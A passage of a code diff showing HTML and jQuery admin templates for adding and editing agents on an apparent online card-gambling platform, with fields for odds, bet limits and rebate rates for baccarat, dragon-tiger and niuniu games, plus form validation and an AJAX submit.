|
||||
<div class="control-group">
|
||||
<label class="control-label">百家乐码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv" name="L_ximalv" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">龙虎码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_dt" name="L_ximalv_dt" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">牛牛码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_nn" name="L_ximalv_nn" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">三卡牛牛码率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_ximalv_tc" name="L_ximalv_tc" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 码率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">占股(%):</label>
|
||||
<div class="controls">
|
||||
<input id="L_cs" name="L_cs" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 占股不能超过100%</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low_tie" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高和限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high_tie" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最低对子限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_low_pair" name="limit_low" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">最高对子限红:</label>
|
||||
<div class="controls">
|
||||
<input id="limit_high_pair" name="limit_high" type="text" value maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 必填项</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">投注方式:</label>
|
||||
<div class="controls">
|
||||
<select id="L_bet_type" name="L_bet_type" type="text" maxlength="20" min-length="3" class="required">
|
||||
<option value="0">请选择投注方式</option>
|
||||
<option value="1">网络投注</option>
|
||||
<option value="2">电话投注</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 请选择投注方式</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押庄赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_banker" name="price_banker" type="text" value="0.95" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押闲赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_player" name="price_player" type="text" value="1" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_baccarat" name="price_tie_baccarat" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押对子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_pair" name="price_pair" type="text" value="11" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">两张牌幸运6赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_luck_six_2" name="price_luck_six_2" type="text" value="12" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">三张牌幸运6赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_luck_six_3" name="price_luck_six_3" type="text" value="20" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押大赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_big" name="price_big" type="text" value="0.5" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押小赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_small" name="price_small" type="text" value="1.5" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 百家乐 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押龙赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_dragon" name="price_dragon" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押虎赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tiger" name="price_tiger" type="text" value="0.97" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押和赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tie_dt" name="price_tie_dt" type="text" value="8" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 龙虎斗 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押无牛-牛6赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n0_n6" name="price_n0_n6" type="text" value="0.96" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛7-牛9赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_n7_n9" name="price_n7_n9" type="text" value="1.92" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_nn" name="price_nn" type="text" value="2.88" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押五公赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_5n" name="price_5n" type="text" value="4.80" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛一赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n1" name="price_tc_n1" type="text" value="0.96" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛二赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n2" name="price_tc_n2" type="text" value="1.92" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛三赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n3" name="price_tc_n3" type="text" value="2.88" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛四赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n4" name="price_tc_n4" type="text" value="3.84" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛五赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n5" name="price_tc_n5" type="text" value="4.80" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛六赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n6" name="price_tc_n6" type="text" value="5.76" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛七赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n7" name="price_tc_n7" type="text" value="6.72" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛八赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n8" name="price_tc_n8" type="text" value="7.68" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛九赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_n9" name="price_tc_n9" type="text" value="8.64" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押牛牛赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_nn" name="price_tc_nn" type="text" value="9.60" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押豹子赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_bz" name="price_tc_bz" type="text" value="11.52" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押同花顺赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_ths" name="price_tc_ths" type="text" value="14.40" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">押皇家同花顺赔率:</label>
|
||||
<div class="controls">
|
||||
<input id="price_tc_hjths" name="price_tc_hjths" type="text" value="19.20" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div class="control-group">
|
||||
<label class="control-label">三卡牛牛系统抽水:</label>
|
||||
<div class="controls">
|
||||
<input id="agent_commission_tc" name="agent_commission_tc" type="text" value="0.03" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">三卡牛牛庄家抽佣:</label>
|
||||
<div class="controls">
|
||||
<input id="agent_commission_tc_banker" name="agent_commission_tc_banker" type="text" value="0.05" maxlength="10" class="required"><span class="help-inline">
|
||||
<font color="red"> * 三卡牛牛 </font>
|
||||
</span>
|
||||
</div>
|
||||
</div> -->
|
||||
<div class="control-group">
|
||||
<label class="control-label">日赢上限:</label>
|
||||
<div class="controls">
|
||||
<input id="win_limit" name="win_limit" type="text" value="0" maxlength="10" class="required" onkeyup="value=value.replace(/[^\d]/g,'')"><span class="help-inline">
|
||||
<font color="red"> * 默认0则为没有限制</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/agent/index';
|
||||
if(id == "2") location.href = '/agent/agent_add';
|
||||
});
|
||||
|
||||
// 切换总代性质
|
||||
$('.agent_type').change(function(){
|
||||
var agentType = $('.agent_type:checked').val();
|
||||
if(agentType == 1){
|
||||
$('.rebate-box').show();
|
||||
}else{
|
||||
$('.rebate-box').hide();
|
||||
}
|
||||
});
|
||||
$('.agent_type').change();
|
||||
|
||||
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var limit_checkout = new Array();
|
||||
var query = new Object();
|
||||
query.username = $('#L_username').val();
|
||||
query.nickname = $('#L_nickname').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.agent_type = $('.agent_type:checked').val();
|
||||
query.pay_channel = $('.pay_channel:checked').val();
|
||||
query.type_xima = $('.type_xima:checked').val();
|
||||
query.share_xima = $('#share_xima').val();
|
||||
query.rebate_rate = $('#rebate_rate').val();
|
||||
query.ximalv = $('#L_ximalv').val();
|
||||
query.ximalv_dt = $('#L_ximalv_dt').val();
|
||||
query.ximalv_nn = $('#L_ximalv_nn').val();
|
||||
query.ximalv_tc = $('#L_ximalv_tc').val();
|
||||
query.cs = $('#L_cs').val();
|
||||
query.bet_type = $('#L_bet_type').val();
|
||||
query.limit_low = $('#limit_low').val();
|
||||
query.limit_high = $('#limit_high').val();
|
||||
query.limit_low_tie = $('#limit_low_tie').val();
|
||||
query.limit_high_tie = $('#limit_high_tie').val();
|
||||
query.limit_low_pair = $('#limit_low_pair').val();
|
||||
query.limit_high_pair = $('#limit_high_pair').val();
|
||||
query.price_banker = $('#price_banker').val();
|
||||
query.price_player = $('#price_player').val();
|
||||
query.price_tie_baccarat = $('#price_tie_baccarat').val();
|
||||
query.price_pair = $('#price_pair').val();
|
||||
query.price_luck_six_2 = $('#price_luck_six_2').val();
|
||||
query.price_luck_six_3 = $('#price_luck_six_3').val();
|
||||
query.price_big = $('#price_big').val();
|
||||
query.price_small = $('#price_small').val();
|
||||
query.price_dragon = $('#price_dragon').val();
|
||||
query.price_tiger = $('#price_tiger').val();
|
||||
query.price_tie_dt = $('#price_tie_dt').val();
|
||||
query.price_n0_n6 = $('#price_n0_n6').val();
|
||||
query.price_n7_n9 = $('#price_n7_n9').val();
|
||||
query.price_nn = $('#price_nn').val();
|
||||
query.price_5n = $('#price_5n').val();
|
||||
query.win_limit = $('#win_limit').val();
|
||||
query.price_tc_n1 = $('#price_tc_n1').val();
|
||||
query.price_tc_n2 = $('#price_tc_n2').val();
|
||||
query.price_tc_n3 = $('#price_tc_n3').val();
|
||||
query.price_tc_n4 = $('#price_tc_n4').val();
|
||||
query.price_tc_n5 = $('#price_tc_n5').val();
|
||||
query.price_tc_n6 = $('#price_tc_n6').val();
|
||||
query.price_tc_n7 = $('#price_tc_n7').val();
|
||||
query.price_tc_n8 = $('#price_tc_n8').val();
|
||||
query.price_tc_n9 = $('#price_tc_n9').val();
|
||||
query.price_tc_nn = $('#price_tc_nn').val();
|
||||
query.price_tc_bz = $('#price_tc_bz').val();
|
||||
query.price_tc_ths = $('#price_tc_ths').val();
|
||||
query.price_tc_hjths = $('#price_tc_hjths').val();
|
||||
// query.agent_commission_tc = $('#agent_commission_tc').val();
|
||||
// query.agent_commission_tc_banker = $('#agent_commission_tc_banker').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.username.length == 0){
|
||||
layer.alert("请填写账号!");
|
||||
return false;
|
||||
}
|
||||
if(query.nickname.length == 0){
|
||||
layer.alert("请填写昵称!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length <= 0){
|
||||
layer.alert("请填写密码!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length > 0 && query.pass.length < 6){
|
||||
layer.alert("密码长度为6到16个字符!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass != query.repass){
|
||||
layer.alert("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv.length == 0){
|
||||
layer.alert("请填写百家乐码率");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_dt.length == 0){
|
||||
layer.alert("请填写龙虎码率");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_nn.length == 0){
|
||||
layer.alert("请填写牛牛码率");
|
||||
return false;
|
||||
}
|
||||
if(query.ximalv_tc.length == 0){
|
||||
layer.alert("请填写三卡牛牛码率");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.cs) > 100){
|
||||
layer.alert("占股不能超过100%");
|
||||
return false;
|
||||
}
|
||||
if(query.bet_type <= 0){
|
||||
layer.alert("请选择投注方式");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_low <= 0){
|
||||
layer.alert("最低限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_high <= 0){
|
||||
layer.alert("最高限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.limit_low) > parseFloat(query.limit_high)){
|
||||
layer.alert("最高限红必须大于最低限红");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_low_tie <= 0){
|
||||
layer.alert("最低限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_high_tie <= 0){
|
||||
layer.alert("最高限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.limit_low_tie) > parseFloat(query.limit_high_tie)){
|
||||
layer.alert("最高和限红必须大于最低和限红");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_low_pair <= 0){
|
||||
layer.alert("最低限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.limit_high_pair <= 0){
|
||||
layer.alert("最高限红必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(parseFloat(query.limit_low_pair) > parseFloat(query.limit_high_pair)){
|
||||
layer.alert("最高对子限红必须大于最低对子限红");
|
||||
return false;
|
||||
}
|
||||
if(query.price_banker <= 0){
|
||||
layer.alert("押庄赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_player <= 0){
|
||||
layer.alert("押闲赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_baccarat <= 0){
|
||||
layer.alert("押和(百家乐)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_pair <= 0){
|
||||
layer.alert("押对子赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_luck_six_2 <= 0){
|
||||
layer.alert("两张牌幸运6赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_luck_six_3 <= 0){
|
||||
layer.alert("三张牌幸运6赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_big <= 0){
|
||||
layer.alert("押大赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_small <= 0){
|
||||
layer.alert("押小赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_dragon <= 0){
|
||||
layer.alert("押龙赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tiger <= 0){
|
||||
layer.alert("押虎赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tie_dt <= 0){
|
||||
layer.alert("押和(龙虎斗)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n0_n6 <= 0){
|
||||
layer.alert("押牛1-牛6赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_n7_n9 <= 0){
|
||||
layer.alert("押牛7-牛9赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_nn <= 0){
|
||||
layer.alert("押牛牛赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_5n <= 0){
|
||||
layer.alert("押五公赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.win_limit.length <= 0){
|
||||
layer.alert("日赢上限不能为空");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n1 <= 0){
|
||||
layer.alert("押牛一(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n2 <= 0){
|
||||
layer.alert("押牛二(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n3 <= 0){
|
||||
layer.alert("押牛三(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n4 <= 0){
|
||||
layer.alert("押牛四(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n5 <= 0){
|
||||
layer.alert("押牛五(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n6 <= 0){
|
||||
layer.alert("押牛六(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n7 <= 0){
|
||||
layer.alert("押牛七(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n8 <= 0){
|
||||
layer.alert("押牛八(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_n9 <= 0){
|
||||
layer.alert("押牛九(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_nn <= 0){
|
||||
layer.alert("押牛牛(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_bz <= 0){
|
||||
layer.alert("押豹子(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_ths <= 0){
|
||||
layer.alert("押同花顺(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
if(query.price_tc_hjths <= 0){
|
||||
layer.alert("押皇家同花顺(三卡牛牛)赔率必须大于0");
|
||||
return false;
|
||||
}
|
||||
// if(query.agent_commission_tc.length <= 0){
|
||||
// layer.alert("三卡牛牛系统抽水不能为空");
|
||||
// return false;
|
||||
// }
|
||||
// if(query.agent_commission_tc_banker.length <= 0){
|
||||
// layer.alert("三卡牛牛庄家抽佣不能为空");
|
||||
// return false;
|
||||
// }
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/agent/do_agent_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/agent/index";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,791 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">修改代理</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value="{$agent.username}" maxlength="50" minlength="3" class="required" readonly>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_nickname" name="L_nickname" type="text" value="{$agent.nickname}" maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 密码默认为空不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 密码默认为空不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value="{$agent.mobile}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value="{$agent.email}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">总代性质:</label>
|
||||
<div class="controls">
|
||||
<input name="agent_type" class="required agent_type" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" <?php if($agent['agent_type'] == 1) echo 'checked'; ?>>
|
||||
<span style="position:relative;top:-7px;">现金线</span>
|
||||
<input name="agent_type" class="required agent_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;" <?php if($agent['agent_type'] == 2) echo 'checked'; ?>>
|
||||
<span style="position:relative;top:-7px;">信用线</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">支付渠道:</label>
|
||||
<div class="controls">
|
||||
